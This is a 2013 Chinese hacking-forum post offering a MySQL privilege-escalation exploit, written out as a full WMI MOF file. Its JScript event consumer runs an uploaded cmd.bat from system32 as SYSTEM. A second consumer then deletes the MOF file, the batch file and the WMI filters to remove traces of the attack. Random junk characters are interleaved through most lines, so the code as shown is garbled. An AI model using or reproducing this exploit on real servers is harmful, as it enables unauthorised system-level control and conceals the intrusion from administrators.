找回密码
 立即注册
查看: 2945|回复: 0
打印 上一主题 下一主题

Mysql 提权即时无错Mof exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-14 00:05:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这个sql提权MOF需要运行 system下的文件,不能定义路径。% b+ S3 y2 T( A
需要将要运行的命令写入到bat上传到system32目录,然后执行。
8 p3 d- d9 X2 U3 `1 ]* U% \' t$ @2 O$ q
. B# z6 j# @3 p8 k' v9 A1 }这个sql提权MOF需要运行 system下的文件,不能定义路径。8 _  F( n3 R+ t9 a$ }
需要将要运行的命令写入到bat上传到system32目录,然后执行。
% R$ N0 B% q! k4 i5 l3 O# c! @0 s6 T6 G. L* n) E1 s8 h
#pragma
1 V0 n% }# J! U$ o! x9 ~                        namespace("\\\\.\\root\\cimv2")
/ F3 {5 L0 t6 h; ^- h                        class
. I& e" ]6 g9 W) S& W% \9 z                        MyClass547
' }/ H. n5 x$ P, N7 w# u                        {           [key]
* f; I9 C8 Q1 N1 K                        string
1 n; J' I# P6 B/ t/ B                        Name;  t2 q+ m8 K% z" d" w$ Y7 v
                        };; A$ [$ Z! R; D% y8 ^1 u$ L
                        class' g" w. z' P( o8 R
                        ActiveScriptEventConsumer
  e* u& c' x; [  v3 Z& n- d                        : __EventConsumer {          [key]
; a1 ^2 b- @  d( s% A                        string
  c) u7 N. x4 L5 [8 C                        Name;           [not_null]% N1 {% v  }# b2 k* J
                        string2 s& T3 x9 u/ s
                        ScriptingEngine;           string% w0 r( |  ]: ?5 @. L0 ~
                        ScriptFileName;           [template]- X% p& e* z2 @: [0 G7 H0 A# {- y
                        string8 H1 s: W+ `: L* M* U+ u& Z
                        ScriptText;         uint32 KillTimeout;6 u0 V( E7 x% k' v: P; |# m
                        }; instance of __Win32Provider as $P {
& A+ [+ @+ ?6 Q- n3 Y1 x                        Name
( x' S" d7 X* c5 l) o                        =
/ {8 i' `# u' y3 [( W                        "ActiveScriptEventConsumer";     CLSID =' ~& m/ k" r% ]: @  v  ?
                        "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";2 p6 A- R! W* K4 F
                        PerUserInitialization
; w7 k% ~8 L7 G0 F6 g                        = TRUE;2 ~' Y) m5 h( K: n1 M6 @
                        }; instance of __EventConsumerProviderRegistration {         Provider) }1 Z! P8 t3 m% `% `5 L9 z2 P
                        = $P;         ConsumerClassNames! X3 }% \  W) A" _, G* `" X
                        =
3 ?( N* E6 O. o5 c& Q7 I; V                        {"ActiveScriptEventConsumer"};9 j) G, k6 b. i1 Q
                        };% N3 ~6 Q1 ~8 n, r; [
                        Instance of ActiveScriptEventConsumer( S4 G/ {) ~$ A$ V( F0 s
                        as $cons {         Name
% b2 _2 c1 I+ U5 g5 A7 U                        =
  N6 X. J  ]! J" i                        "ASEC";         ScriptingEngine+ H* o0 S5 r4 a; ^/ F7 z
                        =0 j7 T3 ^* V" m- K- f: C
                        "JScript";         ScriptText% |0 r( I# E$ o2 ?
                        =
& w+ l; u8 x: j                        "\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};";          };
, g  ]4 ^0 G! ?  S" R                        Instance of ActiveScriptEventConsumer
5 m: _- {4 ^3 ]& {# J                        as $cons2 {         Name
  ^$ W, m4 g$ n" p, D                        =
+ A, D7 m( t, W1 z                        "qndASEC";         ScriptingEngine- E3 v5 j0 _8 o' R
                        =
8 G+ D: o: g5 V8 @  {+ m0 s                        "JScript";         ScriptText( s% }6 m6 \1 i: d  O5 p+ I
                        =4 o# J6 n) L* }0 p7 U* M
                        "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";
  P4 k- Q; Z: w: s' L/ b" p                        }; instance of __EventFilter as $Filt {         Name+ w* O% S3 [# e
                        =
* N9 h! V7 E( y& K* p                        "instfilt";         Query7 K0 A4 o9 F. D, }: T
                        =
  |+ Q4 r1 h) R) K' p5 Q                        "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\"";         QueryLanguage3 D# {$ P# n$ B9 s  j
                        =* `& C5 C( {! g1 R& x9 g& U2 v
                        "WQL";         }; instance of __EventFilter as $Filt2 {         Name' C/ ^: _2 g( U0 m
                        =
2 j: a4 u$ D! f% V! J                        "qndfilt";         Query
# [. H; t6 V& P/ `' h* W& E                        =
+ f/ S$ \/ O+ e& k: c                        "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\"";         QueryLanguage- ^+ j" n/ D: n# `4 D# U
                        =
5 S! w) M. I! C, Y  l; W( \                        "WQL";          }; instance of __FilterToConsumerBinding as $bind {         Consumer! ?5 _9 P5 S* X( B1 H" A, G
                        = $cons;         Filter
$ e4 Q6 x7 d8 H% `4 d                        = $Filt;
. H0 l: ?9 d  W1 q. l. P( _                        }; instance of __FilterToConsumerBinding as $bind2 {         Consumer
0 q: @5 w- I7 J; Z8 I) ]! d                        = $cons2;         Filter
# `! K# G2 E$ _+ |- K8 m. T                        = $Filt2;+ T8 C4 B3 s1 m* m
                        }; instance of MyClass547* P  c/ [  o- V6 |2 t  K' R: j
                        as $MyClass {         Name& f2 I8 D9 {; Y$ M: N8 M$ t
                        =
* W( t/ Z/ P' i* @3 d                        "ClassConsumer";
$ C& B  U( {7 @  d* f                        };
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表